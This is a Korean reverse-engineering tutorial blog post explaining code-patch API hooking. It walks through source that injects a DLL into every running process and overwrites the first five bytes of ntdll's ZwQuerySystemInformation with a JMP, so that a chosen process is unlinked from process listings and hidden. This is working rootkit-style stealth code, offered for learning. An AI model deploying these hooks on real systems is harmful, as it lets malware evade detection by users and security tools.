실습 예제 프로그램의 소스를 분석하면서 "Code Patch" 방식의 API Hooking 에 대하여 알아 보도록 하겠습니다.
<stealth.cpp 코드 일부>
본 내용은 이전 포스트에서 이어지는 내용입니다.
☞ API Hooking – '스텔스' 프로세스 (2)
* 참고!
모든 소스 코드는 MS Visual C++ 2008 Express Edition 으로 개발 되었으며, Windows XP SP3 환경에서 테스트 되었습니다.
HookProc.exe
HideProc.cpp
HookProc.exe 는 실행중인 모든 프로세스에 특정 DLL 파일을 Injection/Ejection 시켜주는 프로그램 입니다. 기존의 InjectDll.exe 프로그램에 모든 프로세스를 검사하는 기능을 추가한 거라고 생각하시면 됩니다.
대부분의 인젝션 코드는 기존의 InjectDll.cpp 와 같습니다. 아래 링크를 참고해 주세요.
☞
DLL Injection – 프로세스에 침투하기 (2)
# InjectAllProcess()
새로 추가된 InjectAllProcess() 함수에 대해서 설명하겠습니다. 이 함수에서 실행중인 모든 프로세스를 검색하여 각각 DLL Injection/Ejection 을 수행합니다.
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
// 시스템의 안정성을 위해서
// PID 가 100 보다 작은 시스템 프로세스에 대해서는
// DLL Injection 을 수행하지 않는다.
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
CreateToolhelp32Snapshot() API 를 이용해서 시스템에 실행중인 모든 프로세스 리스트를 얻어내고 Process32First() 와 Process32Next() API 를 이용해서 PID 를 구합니다.
HANDLE WINAPI CreateToolhelp32Snapshot(
__in DWORD dwFlags,
__in DWORD th32ProcessID
);
* 출처 : http://msdn.microsoft.com/en-us/library/ms682489(VS.85).aspx
BOOL WINAPI Process32First(
__in HANDLE hSnapshot,
__inout LPPROCESSENTRY32 lppe
);
* 출처 : http://msdn.microsoft.com/en-us/library/ms684834(VS.85).aspx
BOOL WINAPI Process32Next(
__in HANDLE hSnapshot,
__out LPPROCESSENTRY32 lppe
);
* 출처 : http://msdn.microsoft.com/en-us/library/ms684836(VS.85).aspx
* 주의!
미리 HideProc.exe 프로세스의 권한(특권)을 상승시켜 놓아야 전체 프로세스의 리스트를 정확하게 얻을 수 있습니다. HideProc.cpp 에서는 main() 함수에서 미리 _EnableNTPrivilege() 함수를 호출하고 이 함수 내부에서 AdjustTokenPrivileges() API 를 이용해서 권한을 얻습니다.
PID 를 구했으면 모드(INJECTION / EJECTION)에 따라 InjectDll() / EjectDll() 함수를 호출합니다.
한가지 특이한 점은 PID 값이 100 보다 작다면, 그 프로세스는 작업하지 않고 그냥 통과합니다. 그 이유는 시스템의 안정성을 위해서 시스템 프로세스(PID = 0, 4, 8, … ) 에게는 DLL Injection 하지 않는 것입니다. (이런 PID 값은 Windows XP 에 대해서 경험적으로 얻은 값으로써 다른 Windows 버전에서는 시스템 프로세스의 PID 값이 달라 질 수 있습니다.)
stealth.dll
stealth.cpp
# SetProcName()
먼저 export 함수인 SetProcName() 을 살펴보겠습니다.
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
char g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
// export function
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
strcpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
위 코드를 보시면 “.SHARE” 이름의 공유 메모리 섹션을 만들고 g_szProcName 버퍼를 생성합니다. 그리고 export 함수인 SetProcName() 에 의해서 은폐 시키고 싶은 프로세스 이름을 g_szProcName 에 저장시킵니다. (SetProcName() 함수는 HookProc.exe 에서 호출됩니다.)
* 참고
g_szProcName 버퍼를 공유 메모리 섹션에 만들면 stealth.dll 이 모든 프로세스에게 인젝션 될 때 간단하게 은폐 프로세스 이름을 공유 시킬 수 있는 장점이 있습니다. (향후 프로그램을 더 발전 시켜서 동적으로 은폐 프로세스를 다른 걸로 변경시킬 수도 있습니다.)
# DllMain()
그럼 DllMain() 함수를 살펴볼까요?
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// #1. 예외처리
// 현재 프로세스가 HookProc.exe 라면 후킹하지 않고 종료
GetModuleFileName(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;
switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgBytes);
break;
}
return TRUE;
}
DllMain() 은 보시다시피 매우 간단합니다.
먼저 문자열 비교를 통해 프로세스 이름이 "HookProc.exe" 라면 API 후킹하지 않도록 예외처리를 해둡니다. 모든 프로세스를 정확히 검색하기 위해서 HookProc.exe 자신은 후킹 당하면 안되겠죠? (후킹 당하면 HookProc.exe 자신도 은폐 프로세스를 볼 수 없고, stealth.dll 을 인젝션 시킬 수 없기 때문입니다.)
그리고 DLL_PROCESS_ATTACH 이벤트에 hook_by_code() 함수로 API 를 후킹하고, DLL_PROCESS_DETACH 이벤트에 unhook_by_code() 함수로 API 후킹을 해제 시킵니다.
# hook_by_code()
코드 패치를 이용하여 API 를 후킹하는 hook_by_code() 함수 입니다.
BOOL hook_by_code(LPCTSTR szDllName, LPCTSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
// 후킹대상 API 주소를 구한다
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandle(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;
// 만약 이미 후킹되어 있다면 return FALSE
if( pByte[0] == 0xE9 )
return FALSE;
// 5 byte 패치를 위하여 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 기존코드 (5 byte) 백업
memcpy(pOrgBytes, pfnOrg, 5);
// JMP 주소계산 (E9 XXXX)
// => XXXX = pfnNew - pfnOrg - 5
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);
// Hook - 5 byte 패치(JMP XXXX)
memcpy(pfnOrg, pBuf, 5);
// 메모리 속성 복원
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
hook_by_code() 함수 파라미터 소개입니다.
LPCTSTR szDllName : [IN] 후킹하려는 API 가 포함된 DLL 파일 이름
LPCTSTR szFuncName : [IN] 후킹하려는 API 이름
PROC pfnNew : [IN] 사용자가 제공한 후킹함수 주소
PBYTE pOrgBytes : [OUT] 원본 5 byte 를 저장시킬 버퍼 – 나중에 unhook 에서 사용됨
동작원리에서 설명 드렸듯이 hook_by_code() 함수의 기능은 원본 API 코드 시작부분의 5 byte 를 "JMP XXXX" 명령어로 변경하는 것입니다.
☞ 참고 API Hooking – '스텔스' 프로세스 (1)
소스 코드가 간단하여 주석을 보시면 대부분 쉽게 이해가 되는 내용입니다만, 중간의 점프 주소 계산 부분은 리버싱에서 매우 중요한 내용이기 때문에 자세히 살펴보도록 하겠습니다.
Intel x86 (IA-32) Instruction Format 에 따르면 JMP 명령어의 Op Code(Operation Code) 는 'E9' 입니다. 그리고 뒤에 4 byte 값이 이어집니다.
즉, JMP 명령어의 Op Code 는 "E9 XXXX" 형태가 됩니다.
문제는 XXXX 의 값이 JMP 할
절대 주소 값이 아니라, 현재 JMP 명령어 에서부터 JMP 할 위치까지의
상대 거리입니다. 이것은 아래의 공식으로 구할 수 있습니다.
XXXX = 점프할 주소 – 현재 명령어 주소 - 5
마지막에 5 를 더 빼주는 이유는 JMP 명령어 자체 길이 5 byte 를 보정해 주는 것입니다.
예를 들어 402000 주소의 JMP 명령어에서 401000 주소로 가고 싶을 때는 "E9 00104000" 이라고 쓰는 것이 아니고, 위 계산 공식대로 적용해서 XXXX 값을 구해야 합니다.
XXXX = 401000 – 402000 – 5 = FFFFEFFB
따라서 이 JMP 명령어의 Op Code 는 "E9 FBEFFFFF" 입니다.
OllyDbg 의 [Assemble] 또는 [Edit] 기능으로 확인해 보시기 바랍니다.
<Fig. 1>
* 참고 1
JMP 말고 short JMP 명령이 있습니다. 말 그대로 짧은 거리를 점프 할 때 쓰이는 명령어로 Op Code 는 "EB X" 입니다. (명령어 크기 2 byte)
OllyDbg 에서 'EB' 명령어도 테스트 해보시기 바랍니다.
* 참고 2
위와 같이 상대 거리 를 계산해서 JMP 명령어를 써주는 것이 좀 불편해 보일 수 있습니다.
물론 다른 명령어를 써서 절대 주소로 JMP 할 수 도 있습니다.
예1) PUSH + RET
68 00104000 PUSH 00401000
C3 RETN
예2) MOV + JMP
B8 00104000 MOV EAX, 00401000
FFE0 JMP EAX
* 참고 3
32bit 주소 계산 하실 때 Windows 계산기는 좀 불편합니다.
다양한 기능이 있는 32bit Calculator v1.7 by cybult 를 추천합니다.
* 향후 x86 Op Code Map 을 해석하는 방법에 대해서 글을 올리도록 하겠습니다.
실제로 hook_by_code() 함수에 의해서 ZwQuerySystemInformation() API 가 후킹 되기 전/후의 모습을 디버거를 통하여 살펴 보도록 하겠습니다. (해당 프로세스는 procexp.exe 입니다.)
먼저 API 후킹 전의 ZwQuerySystemInformation() API 코드 입니다.
<Fig. 2>
ZwQuerySystemInformation() 주소는 7C93D92E 이며, 명령어 코드는 아래와 같습니다.
7C93D92E B8 AD000000 MOV EAX, 0AD
이제 stealth.dll 이 인젝션 되면서 hook_by_code() 함수에 의해서 API 가 후킹된 이후의 코드입니다.
<Fig. 3>
ZwQuerySystemInformation() 코드 시작 명령어가 아래와 같이 변경 되었습니다. (정확히 5 byte)
7C93D92E E9 ED376C93 JMP 10001120
10001120 주소는 바로 후킹 함수 NewZwQuerySystemInformation() 의 주소입니다.
그리고 E9 뒤의 4 byte (936C37ED) 값은 바로 위에서 설명 드린 계산 공식에 의해서 구할 수 있습니다. (한번씩 직접 해보시기 바랍니다.)
# unhook_by_code()
후킹을 해제하는 unhook_by_code() 코드 입니다.
BOOL unhook_by_code(LPCTSTR szDllName, LPCTSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
// API 주소 구한다
pFunc = GetProcAddress(GetModuleHandle(szDllName), szFuncName);
// 원래 코드 (5 byte)를 덮어쓰기 위해 메모리에 WRITE 속성 추가
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// Unhook
memcpy(pFunc, pOrgBytes, 5);
// 메모리 속성 복원
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
Unhook 의 동작원리는 원래 코드의 5 byte 를 복원해 주는 것입니다.
코드가 단순하므로 설명은 주석으로 대체 합니다.
# NewZwQuerySystemInformation()
마지막으로 후킹함수 NewZwQuerySystemInformation() 에 대해서 살펴볼 시간입니다.
하지만 그전에 먼저 ntdll!ZwQuerySystemInfomation() API 에 대해서 알아야 합니다.
NTSTATUS WINAPI ZwQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
* 출처 : http://msdn.microsoft.com/en-us/library/ms725506(VS.85).aspx
간단히 설명해서 SystemInformationClass 파라미터에 SystemProcessInformation (5) 으로 세팅하고 ZwQuerySystemInformation() API 를 호출하면 SystemInformation [inout] 파라미터에 SYSTEM_PROCESS_INFORMATION 구조체 단방향 연결 리스트(single linked list)의 시작 주소가 얻어집니다.
바로 이 구조체 연결 리스트에 실행중인 모든 프로세스들의 정보가 담겨 있습니다.
따라서 프로세스 은폐를 구현하려면 은폐하고 싶은 프로세스에 해당하는 리스트 멤버를 찾아서 리스트 연결을 끊어 버리면 됩니다.
아래 NewZwQuerySystemInformation() 코드를 살펴 보면서 실제로 어떤식으로 구현되었는지 알아보겠습니다.
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
// 작업 전에 unhook
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgBytes);
// original API 호출
pFunc = GetProcAddress(GetModuleHandle("ntdll.dll"),
"ZwQuerySystemInformation");
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
// SystemProcessInformation 인 경우만 작업함
if( SystemInformationClass == SystemProcessInformation )
{
// SYSTEM_PROCESS_INFORMATION 타입 캐스팅
// pCur 는 single linked list 의 head
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
// wide character => multi byte 변환
WideCharToMultiByte(CP_ACP, 0, (PWSTR)pCur->Reserved2[1],
-1, szProcName, MAX_PATH, NULL, NULL);
// 프로세스 이름 비교
// g_szProcName = 은폐 하려는 프로세스 이름
// (=> SetProcName() 에서 세팅됨)
if(!_strcmpi(szProcName, g_szProcName))
{
// 연결 리스트에서 은폐 프로세스 제거
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
if(pCur->NextEntryOffset == 0)
break;
// 연결 리스트의 다음 항목
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 함수 종료전에 다시 API Hooking
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
return status;
}
위 NewZwQuerySystemInformation() 함수의 구조를 간단히 설명 드리면 아래와 같습니다.
- 언훅(unhook) ZwQuerySystemInformation()
- ZwQuerySystemInformation() 호출
- SYSTEM_PROCESS_INFORMATION 구조체 연결 리스트를 검사하면서 은폐 프로세스 찾음
- 은폐 프로세스를 찾으면 리스트에서 제거
- 훅(hook) ZwQuerySystemInformation()
NewZwQuerySystemInformation() 코드의 중간쯤 while() 문을 보시면 SYSTEM_PROCESS_INFORMATION 구조체 연결 리스트를 검사하면서 프로세스 이름(pCur->Reserved2[1])을 비교합니다. (프로세스 이름은 Unicode 문자열이기 때문에 간단히 ASCII 로 변경 후 strcmp_i() 함수를 사용했습니다.)
...
// wide character => multi byte 변환
WideCharToMultiByte(CP_ACP, 0, (PWSTR)pCur->Reserved2[1],
-1, szProcName, MAX_PATH, NULL, NULL);
// 프로세스 이름 비교
// g_szProcName = 은폐 하려는 프로세스 이름
// (=> SetProcName() 에서 세팅됨)
if(!_strcmpi(szProcName, g_szProcName))
{
...
함수의 동작 원리만 이해하시면 (주석과 함께) 코드를 보시는데 어려움이 없으실 걸로 생각합니다.
다음 번에는 Global API Hooking 에 대해서 배워보도록 하겠습니다.
☞ API Hooking – '스텔스' 프로세스 (4)
ReverseCore
위 글이 도움이 되셨다면 추천(VIEW ON) 부탁 드려요~
HideProc2.exe
stealth2.dll
